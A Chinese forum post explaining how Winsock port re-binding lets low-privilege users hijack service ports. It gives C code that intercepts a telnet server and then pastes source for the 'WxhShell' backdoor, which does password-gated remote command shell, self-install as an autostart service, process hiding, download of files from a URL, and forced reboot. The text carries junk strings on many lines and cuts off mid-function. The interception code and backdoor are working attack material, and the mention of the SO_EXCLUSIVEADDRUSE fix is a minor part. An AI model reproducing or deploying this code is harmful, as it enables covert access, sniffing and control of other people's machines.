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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9`N5$;NzY  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);  P33xt~  
=c*l!."0  
  saddr.sin_family = AF_INET; >L!c} Ku  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); v ;}s`P\"  
jy2gR1~  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); pk.\IKlG]  
^5Lk}<utw  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 n6WKk+  
8aWEl%  
  这意味着什么?意味着可以进行如下的攻击: &R@([=1  
EmcLW74  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !YjxCx  
7CuZ7!>$  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ZGR5"el!  
;XawEG7" U  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 EI 35&7(  
V+lF|CZb5  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xIa7F$R 0  
UWKgf? _  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Rb0I7~Z%'d  
0]  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 oS..y($TI  
z dgS@g  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 1] ~w?)..'  
+Z|3[#W  
  #include u>:(MARsR  
  #include @ G)yz!H  
  #include ;H~<.QW  
  #include    NvJ5[W  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ~o%igJ }.C  
  int main() xH*X5?  
  { HVHv,:bPo  
  WORD wVersionRequested; qJdlZW<  
  DWORD ret; 1\&j)3mC  
  WSADATA wsaData; X@DW1<wEt  
  BOOL val; 2,q*[Kh1  
  SOCKADDR_IN saddr; 9ET1Er{4  
  SOCKADDR_IN scaddr; 0(eaVi-%D  
  int err; h5@G eYda  
  SOCKET s; gd*Gn"  
  SOCKET sc; b@;Wh-{d  
  int caddsize; _#:/ ~Jp  
  HANDLE mt; h.PBe  
  DWORD tid;   k[ro[E  
  wVersionRequested = MAKEWORD( 2, 2 ); ,.W7Z~z  
  err = WSAStartup( wVersionRequested, &wsaData ); E(PBV  
  if ( err != 0 ) { 8\lh'8  
  printf("error!WSAStartup failed!\n"); ciS,  
  return -1; 6qH0]7maI  
  } <R /\nYXz  
  saddr.sin_family = AF_INET; GcdJf/k  
   _5-h\RB)  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Df^F)\7!N?  
&2`p#riAS  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (\{k-2t*^  
  saddr.sin_port = htons(23); /qX?ca1_4^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) V|_ h[hXE  
  { O[C4xq  
  printf("error!socket failed!\n"); )e,O+w"  
  return -1; Y/FPkH4  
  } 9dhEQ=K{3  
  val = TRUE; w]0@V}}u$o  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '*b]$5*p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) m|aK_  
  {  1[SG.  
  printf("error!setsockopt failed!\n"); LWF,w7v[L  
  return -1; $0 olqt:  
  } 4D0jt$==  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; :dSda,!z  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ! ;t\lgMl  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 fgdR:@]-  
wu)+n\mt'  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) EsMX #1>/m  
  { lhGJ/By- -  
  ret=GetLastError(); v4n< G-  
  printf("error!bind failed!\n"); Vb (b3  
  return -1; (.ir"\k1(  
  } (aa2uctTn  
  listen(s,2); {rUg,y{v  
  while(1) eluN~T:W  
  { 9 %T??-  
  caddsize = sizeof(scaddr); "=djo+y  
  //接受连接请求 pd|KIs%jl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Jay"  
  if(sc!=INVALID_SOCKET) .$18%jH#  
  { $8=|<vt  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); } a9Ah:.7/  
  if(mt==NULL) R c+olJ^5  
  { &<PIm  
  printf("Thread Creat Failed!\n"); P]43FPb  
  break; V\;Xa0  
  } _B0(1(M<2  
  } K*>%,mP$i  
  CloseHandle(mt); VVas>/0qr  
  } 5qb93E"C  
  closesocket(s); $a M5jH<  
  WSACleanup(); f4"UI-8;n  
  return 0; :R Iz6Tz  
  }   QrYF Lh  
  DWORD WINAPI ClientThread(LPVOID lpParam) <q'l7 S  
  { {%R^8  
  SOCKET ss = (SOCKET)lpParam; }Kp!,  
  SOCKET sc; f+h\RE=BGt  
  unsigned char buf[4096]; ,CfslhO{j  
  SOCKADDR_IN saddr; V*giF`gq  
  long num; Q/+`9z+c  
  DWORD val; Dr3_MWJ+  
  DWORD ret; <\^0!v  
  //如果是隐藏端口应用的话,可以在此处加一些判断 QqA=QTZ}  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   v'W{+>.  
  saddr.sin_family = AF_INET; lP F326e  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h_%q`y,  
  saddr.sin_port = htons(23); .^Sgl o  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) VeYT[Us"  
  { 7IX8ck[D  
  printf("error!socket failed!\n"); V?uT5.B2  
  return -1; @+gr/Pul^  
  } J}#gTG( '  
  val = 100; )}ev;37<C  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >'*%wf[{  
  { 6 c_#"4  
  ret = GetLastError(); -s3`mc}*  
  return -1; qoO`)<  
  } 'C1lP)S5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ytZo0pad  
  { kxMvOB$  
  ret = GetLastError(); $w0TEO!  
  return -1; $DY#04Je\=  
  } 2J7|y\N,  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) U#jz5<r  
  { @/ z\p7e  
  printf("error!socket connect failed!\n"); 0!hr9Y]Lx  
  closesocket(sc); v(1 [n]y  
  closesocket(ss); *f[ 5rr4  
  return -1; Mog >W&U  
  } [,o:nry'a  
  while(1) x4MmBVqp  
  { 5h5izA'0'  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 l0qaTpn  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 1Bj.MQ^  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  /8x';hQ  
  num = recv(ss,buf,4096,0); $1yO Zp5  
  if(num>0) lsz3'!%Y)  
  send(sc,buf,num,0); YuK+ N  
  else if(num==0) [G<ga80  
  break; "q=Cye  
  num = recv(sc,buf,4096,0); (dy(.4W\  
  if(num>0) Q{[@n  
  send(ss,buf,num,0); >q"dLZ  
  else if(num==0) ingG  
  break; ;b<w'A_1  
  } n' ~ ==2  
  closesocket(ss); 9@ k8$@  
  closesocket(sc); d?zSwLsl  
  return 0 ; 1}(22Q;  
  } BEDkyz;:  
yf&g\ke  
O^L]2BVC  
========================================================== ;wn9 21r  
pY31qhoZ.  
下边附上一个代码,,WXhSHELL `YNzcn0x  
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========================================================== #])"1fk  
bb6x} jR  
#include "stdafx.h" (GJtTp~2C4  
gv*b`cl  
#include <stdio.h> OoB|Eh|),  
#include <string.h> eZ'8JU]  
#include <windows.h> IW~R{ ]6  
#include <winsock2.h> TM)INo^  
#include <winsvc.h> j4$nr=d.6  
#include <urlmon.h> PLCm\Oh$l  
GA^hev  
#pragma comment (lib, "Ws2_32.lib") +kL7"  
#pragma comment (lib, "urlmon.lib") aI=p_+.h  
'S`l[L:.8  
#define MAX_USER   100 // 最大客户端连接数 aU!}j'5Q  
#define BUF_SOCK   200 // sock buffer ^ZwZze:2  
#define KEY_BUFF   255 // 输入 buffer I\l&'Q^0@  
)|~K&qn`  
#define REBOOT     0   // 重启 x~e._k=  
#define SHUTDOWN   1   // 关机 5X{|*?>T  
I dK*IA4  
#define DEF_PORT   5000 // 监听端口 \Zj%eW!m  
7^gO>2~  
#define REG_LEN     16   // 注册表键长度 jPWONz(#  
#define SVC_LEN     80   // NT服务名长度 &*`dRIQ]  
IWv 9!lW  
// 从dll定义API pN9!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [\8rh^LFi  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VGS%U8;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); L!}!k N:?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `<7\Zl  
$$9H1)Ny  
// wxhshell配置信息 [JOa^U=  
struct WSCFG { yGa0/o18!?  
  int ws_port;         // 监听端口 #(^<qr   
  char ws_passstr[REG_LEN]; // 口令 |AYii-g  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4 &bmt  
  char ws_regname[REG_LEN]; // 注册表键名 7:4c\C0  
  char ws_svcname[REG_LEN]; // 服务名 4.O)/0sU  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 XZE(& (s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 G5}_NS/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;hT3N UCA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no )D8op;Fn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UmR)L!QT8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 JwG(WLb:  
0D5Z#iW>1  
}; q5f QTV  
%' DO FiU  
// default Wxhshell configuration R"cQyG4  
struct WSCFG wscfg={DEF_PORT, iOiF kka  
    "xuhuanlingzhe", *AH `ob}  
    1, 4|x _C-@  
    "Wxhshell", t&?jJ7 (&8  
    "Wxhshell", |` T7}U  
            "WxhShell Service", -.D?Z8e  
    "Wrsky Windows CmdShell Service", v=k+MvX  
    "Please Input Your Password: ", FL mD?nw  
  1, " MnWd BS  
  "http://www.wrsky.com/wxhshell.exe", }&0LoW/  
  "Wxhshell.exe" Ed=/w6<  
    }; iv*RE9?^  
pwo$qs(p  
// 消息定义模块 ex>7f%\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9\8ektq}Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V(ELrjB0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; xlv(PVdn  
char *msg_ws_ext="\n\rExit."; Gu$/rb?  
char *msg_ws_end="\n\rQuit."; e$9a9twl  
char *msg_ws_boot="\n\rReboot..."; L^qCE-[  
char *msg_ws_poff="\n\rShutdown..."; ,^9+G"H:I  
char *msg_ws_down="\n\rSave to "; f I1CT)0<e  
 VY6G{f  
char *msg_ws_err="\n\rErr!"; [UwQi!^-O  
char *msg_ws_ok="\n\rOK!"; u62H+'k}F  
8a6.77c  
char ExeFile[MAX_PATH]; }?2X q  
int nUser = 0; Xt$qjtVM  
HANDLE handles[MAX_USER]; , z\Qd07u  
int OsIsNt; 3@~a)E}T  
1>*oN  
SERVICE_STATUS       serviceStatus; i!YfR]"}  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _hY6 NMw  
?o(284sV3  
// 函数声明 LATizu  
int Install(void); OU{c| O  
int Uninstall(void); uH\EV`@'  
int DownloadFile(char *sURL, SOCKET wsh); `+w= p7ET  
int Boot(int flag); It3k#A0  
void HideProc(void); k]ZE j/y~  
int GetOsVer(void); ;1&"]N%  
int Wxhshell(SOCKET wsl); L2@:?WW[  
void TalkWithClient(void *cs); L&6^(Bn   
int CmdShell(SOCKET sock); ULK] ' Rn  
int StartFromService(void); i*$+>3Q-  
int StartWxhshell(LPSTR lpCmdLine); &4OOW;,?<  
L } R"1O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); GvtK=A$b  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $}vk+.!*1  
tav@a)  
// 数据结构和表定义 Q0xGd(\  
SERVICE_TABLE_ENTRY DispatchTable[] = ^_#wo"  
{ YeCnk:_ kg  
{wscfg.ws_svcname, NTServiceMain}, .]E(P   
{NULL, NULL} X3sAy(q  
}; (Z<@dkO?)  
|&K;*g|a  
// 自我安装 jm%P-C @  
int Install(void) k[*9b:~  
{ ZV{C9S&  
  char svExeFile[MAX_PATH]; C]b:#S${  
  HKEY key; du$lS':`  
  strcpy(svExeFile,ExeFile); b@J"b(  
((gI OTV  
// 如果是win9x系统,修改注册表设为自启动 T.cTL.}  
if(!OsIsNt) { )2c]Z|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /)[-5n{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z"c-Ly{vEj  
  RegCloseKey(key); gw)z*3]~s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {N]WVp*R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4L>8RiiQE;  
  RegCloseKey(key); XW aa`q  
  return 0; YWU@e[  
    } ]#NfH-T  
  } k2eKs*WLC  
} _N;@jq\q  
else {  +C\79,r  
e(wc [bv  
// 如果是NT以上系统,安装为系统服务 (+gTIcc >  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); NrS+N;i  
if (schSCManager!=0) G+#bO5  
{ tD`^qMua  
  SC_HANDLE schService = CreateService }Bv1fbD4U  
  ( XHv m{z=  
  schSCManager, 6n/=n%US  
  wscfg.ws_svcname, L{~ ]lUo  
  wscfg.ws_svcdisp, ft7M9<#v  
  SERVICE_ALL_ACCESS, n ^9?(a4u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 8(j]=n6 r  
  SERVICE_AUTO_START, :.=:N%3[  
  SERVICE_ERROR_NORMAL, 4x ?NCD=k  
  svExeFile, ], Bafz)4  
  NULL, 2{RRaUoRb  
  NULL, t{UVX%b  
  NULL, uKzx >\}?1  
  NULL, )xf(4  
  NULL %UdE2D'bC  
  );  ,7:GLkj  
  if (schService!=0) ;|K }  
  { i;pg9Vw  
  CloseServiceHandle(schService); 'bRf>=  
  CloseServiceHandle(schSCManager); G1it 3^*$  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); iJdJP)!tz6  
  strcat(svExeFile,wscfg.ws_svcname); `'|6b5`2j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kKRu]0J~[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); . AA# G  
  RegCloseKey(key); < e3] pM  
  return 0; b)a5LFt|  
    } ]2L11" erP  
  } B Hp>(7,  
  CloseServiceHandle(schSCManager); q5Zu'-Cx@  
} 6Z1O:Bou  
} T$mT;k  
N @_y<7#C  
return 1; &LI q?  
} *CGHp8  
xj33g6S  
// 自我卸载 d_(;sW"I  
int Uninstall(void) 8\E=p+C  
{ R6X2d\l#  
  HKEY key; IZdWEbN1  
X*#\JF4$i  
if(!OsIsNt) { !0^4D=dO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { CD`6R.  
  RegDeleteValue(key,wscfg.ws_regname); c\[&IlM  
  RegCloseKey(key); auIW>0?}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [ -Z 6QzT  
  RegDeleteValue(key,wscfg.ws_regname); Z*P/ubV'  
  RegCloseKey(key); !!A(A^s  
  return 0; iLQO .'{U  
  } 2@T0QJ  
} RF8, qz  
} 8aQTm- {m  
else { uFmpc7  
b i-Am/9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~YNzSkz  
if (schSCManager!=0) Tq* <J~-  
{ JoB-&r}\V*  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zt]8F)l@  
  if (schService!=0) 9'Z{uHi%  
  { !M}-N  
  if(DeleteService(schService)!=0) { ?!F<xi:  
  CloseServiceHandle(schService); 3\{acm  
  CloseServiceHandle(schSCManager); Z 9cb  
  return 0; *fd:(dN|  
  } )s7EhIP  
  CloseServiceHandle(schService); "=%YyH~WY  
  } _@?I)4n|  
  CloseServiceHandle(schSCManager); qDg`4yX.}  
} T+0z.E!~I  
} I_Z?'M  
g<F+Ldgj  
return 1; I|bX;l  
} r#j3O}(n  
h`Ej>O7m  
// 从指定url下载文件 6qV1_M#  
int DownloadFile(char *sURL, SOCKET wsh) ~K)FuL[*  
{ s%#u)nw19  
  HRESULT hr; ;=%cA#}_0  
char seps[]= "/"; ]ml'd  
char *token; }j6|+  
char *file; L#D)[v"  
char myURL[MAX_PATH]; Y$^vA[]c>  
char myFILE[MAX_PATH]; ~y Dl & S  
|VE.khq#  
strcpy(myURL,sURL); \p\p~FVS  
  token=strtok(myURL,seps); +|oLS_  
  while(token!=NULL) e?XGv0^qu  
  { &9Z@P[f  
    file=token; +yr~UP_ }  
  token=strtok(NULL,seps); D}{]5R  
  } bA6^R If?  
x`p908S^  
GetCurrentDirectory(MAX_PATH,myFILE); a{;+_J3S  
strcat(myFILE, "\\"); !}`[s2ji  
strcat(myFILE, file); V LeYO5'L  
  send(wsh,myFILE,strlen(myFILE),0); }!*|VdL0  
send(wsh,"...",3,0); nR Hl Hu  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &f A1kG%  
  if(hr==S_OK) u,@ac[!vP  
return 0; va(6?"9  
else $^e_4]k  
return 1; s)'+,lKw  
"FE%k>aV@v  
} f/kYm\Zc  
vPZ0?r_5W  
// 系统电源模块 7k#>$sY+  
int Boot(int flag) ;$*tn"- ?~  
{ KB\ri&bF  
  HANDLE hToken; v-F|#4Q=ut  
  TOKEN_PRIVILEGES tkp; D!)h92CIDm  
P$O@G$n  
  if(OsIsNt) { =L"I[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); e=tM=i"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Z0~,cO8~  
    tkp.PrivilegeCount = 1; ~T._ v;IT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; H11@ DQ6  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); fA V.Mj-  
if(flag==REBOOT) { VK%ExMSqEh  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) PJKxh%J  
  return 0; {poTA+i  
} m,4'@jg0  
else { uW(Ngcpr  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C3<_0eI  
  return 0; w(M i?  
} 6!U~dt#a  
  } VzM (u _)  
  else { *rm[\  
if(flag==REBOOT) { ARJtE@s6Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) aO:A pOAO  
  return 0; +miL naO~L  
} '7]9q#{su  
else { 5"x1Pln  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >G0ihhVt  
  return 0; ]VN1Y)  
} Ox aS<vQ3  
} nwDW<J{f|U  
^sJp!hi4=)  
return 1; U|+`Eth8(  
} od vUU#l  
li`  
// win9x进程隐藏模块 p2GN93,u@P  
void HideProc(void) q~\[P4m  
{ p|r>tBv?x  
`Z`o[]%  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PB:r+[91  
  if ( hKernel != NULL ) p:!FB8  
  { (/P-9<"U  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y+.(E-g  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); :bP <H  
    FreeLibrary(hKernel); SwH#=hg  
  } H[/^&1P  
>BMtR0  
return; ~c=*Y=)LG  
} b Olb  
rN~V^k  
// 获取操作系统版本 ~VF?T~Kr_  
int GetOsVer(void) )d5mZE!3  
{ JkNRXC:  
  OSVERSIONINFO winfo; OH5#.${O  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); !NhVPb,  
  GetVersionEx(&winfo); @j r$4pM?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2$ \#BG  
  return 1; (>om.FM  
  else Nm0|U.<  
  return 0; cl'qw##  
} 0te[i*G  
yA<\?Ps  
// 客户端句柄模块 I]~UOl  
int Wxhshell(SOCKET wsl) i:^ 8zW  
{ *pGbcBQ  
  SOCKET wsh; y(r(q  
  struct sockaddr_in client; ~HX'8\5  
  DWORD myID; aFy'6c}  
;uU 8$  
  while(nUser<MAX_USER) 4=;`\-7!  
{ ^s/f.#'  
  int nSize=sizeof(client); ,5|@vW2@u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8r jiW#  
  if(wsh==INVALID_SOCKET) return 1; gM v0[~;u  
p:4oA<V  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); \/ /{\d  
if(handles[nUser]==0) KlRIJOS  
  closesocket(wsh); 4Cf.%f9@  
else s9?H#^Y5u  
  nUser++; 5bprhq-7  
  } k?Iq 6  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0~nub  
MJ@PAwv"  
  return 0; rge/qUr/^  
} /3 ;t &]  
SDW!9jm>R  
// 关闭 socket @(e/Y/  
void CloseIt(SOCKET wsh) TP)}1 @  
{ safI`b w1  
closesocket(wsh); hzy#%FaB  
nUser--; 4{=^J2z  
ExitThread(0); 2o`L^^  
} v1s0kdR,>  
Al}%r85  
// 客户端请求句柄 Ykj+D7rA:  
void TalkWithClient(void *cs) ohB@ijC!  
{ ncij)7c)u  
p w`YMk  
  SOCKET wsh=(SOCKET)cs; 3gba~}c)  
  char pwd[SVC_LEN]; wEb10t,  
  char cmd[KEY_BUFF]; >VvA&p71b  
char chr[1]; ,fD#)_\g2  
int i,j; <#:ey^q<  
;ywUl`d  
  while (nUser < MAX_USER) { -xU4s  
,tHV H7[  
if(wscfg.ws_passstr) { 6t`cY  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )ocr.wU@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _2S( *  
  //ZeroMemory(pwd,KEY_BUFF); ;XGO@*V5T  
      i=0; lyyR yFfQ  
  while(i<SVC_LEN) { )Es|EPCx!  
sxU 0Fg   
  // 设置超时 N/N~>7f  
  fd_set FdRead; *#CUZJN\  
  struct timeval TimeOut; 7 +kU8}  
  FD_ZERO(&FdRead); f5&K=4khn  
  FD_SET(wsh,&FdRead); ,9~2#[|lq  
  TimeOut.tv_sec=8; _B^Q;54c  
  TimeOut.tv_usec=0; r1 [Jo|4vo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); kTs.ps8ei  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); %8g1h)F"S  
r/mKuGa]  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'C<4{agS  
  pwd=chr[0]; wy4 }CG  
  if(chr[0]==0xd || chr[0]==0xa) { *TP>)o  
  pwd=0; 45tQ$jr`1  
  break; j.7BoV  
  } VPXUy=W  
  i++; 4oRDvn7f&  
    } @ZGD'+zd?  
!$8 e6  
  // 如果是非法用户,关闭 socket 7 y'2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aqN6.t  
} c R6:AGr  
1gDsL  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); AqucP@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [$%O-_x  
,ftKRq  
while(1) { L~>~a1p!  
@j=Q$k.GF  
  ZeroMemory(cmd,KEY_BUFF); jS| 9jg:  
% *Lv  
      // 自动支持客户端 telnet标准   k^*S3#"  
  j=0; 3/ 0E9'  
  while(j<KEY_BUFF) { (od9adSehV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *t,1(Gw|7q  
  cmd[j]=chr[0]; )V?:qCuY>  
  if(chr[0]==0xa || chr[0]==0xd) { N)^` 15w  
  cmd[j]=0; {E$smX  
  break; 6k*,Yei  
  } Ni-@El99  
  j++; @pO2A6 Ks  
    } 4|Ay;}X \  
#8qhl  
  // 下载文件 U/9_:  
  if(strstr(cmd,"http://")) { \*5${[  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 8t >nL  
  if(DownloadFile(cmd,wsh)) bE>"DP q  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); :pvJpu$]  
  else -|_MC^)  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {>n\B~*,"C  
  } %,Lv},%Y  
  else { |58xR.S'g  
20A`]-D  
    switch(cmd[0]) { /m CE=  
  i-gN< 8\v  
  // 帮助 G#nZ%qQ:I  
  case '?': { fm1yZX?`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _mc-CZ  
    break; ~Y/o9x0  
  } 0*yD   
  // 安装 cZlDdr%  
  case 'i': { EE$\8Gx']!  
    if(Install()) *Sp_s_tS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9vI<\ Xa  
    else T1=T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZfP$6%;_  
    break; G_/Dz JBF  
    } (]N- HN]v  
  // 卸载 qPF`=#  
  case 'r': { cogIkB&Ju  
    if(Uninstall()) ,u_ Z0S M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); :kQydCuK  
    else Bvsxn5z+:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _T\cJcWf  
    break; )J{ .z   
    } |Q+:vb:  
  // 显示 wxhshell 所在路径  HvzXAd  
  case 'p': {  jH>`:  
    char svExeFile[MAX_PATH]; ^Fpc8D,  
    strcpy(svExeFile,"\n\r"); Bht!+  
      strcat(svExeFile,ExeFile); WJj5dqatV  
        send(wsh,svExeFile,strlen(svExeFile),0); R,dbq4xkl  
    break; U'k 0;  
    } fs\A(]`$  
  // 重启 M`) /^S9  
  case 'b': { a]nK!;>$  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?/|KM8  
    if(Boot(REBOOT)) X R|U6bf]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )9i$ 1"a(  
    else { xM)6'= x6  
    closesocket(wsh); {;vLM* '  
    ExitThread(0); 5yk#(i 7C  
    } ZXl_cq2r  
    break; 'e/wjV  
    } Z@,[a  
  // 关机 L@s_)?x0  
  case 'd': { * }) W>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o3YW(%cYR  
    if(Boot(SHUTDOWN)) ir|c<~_=  
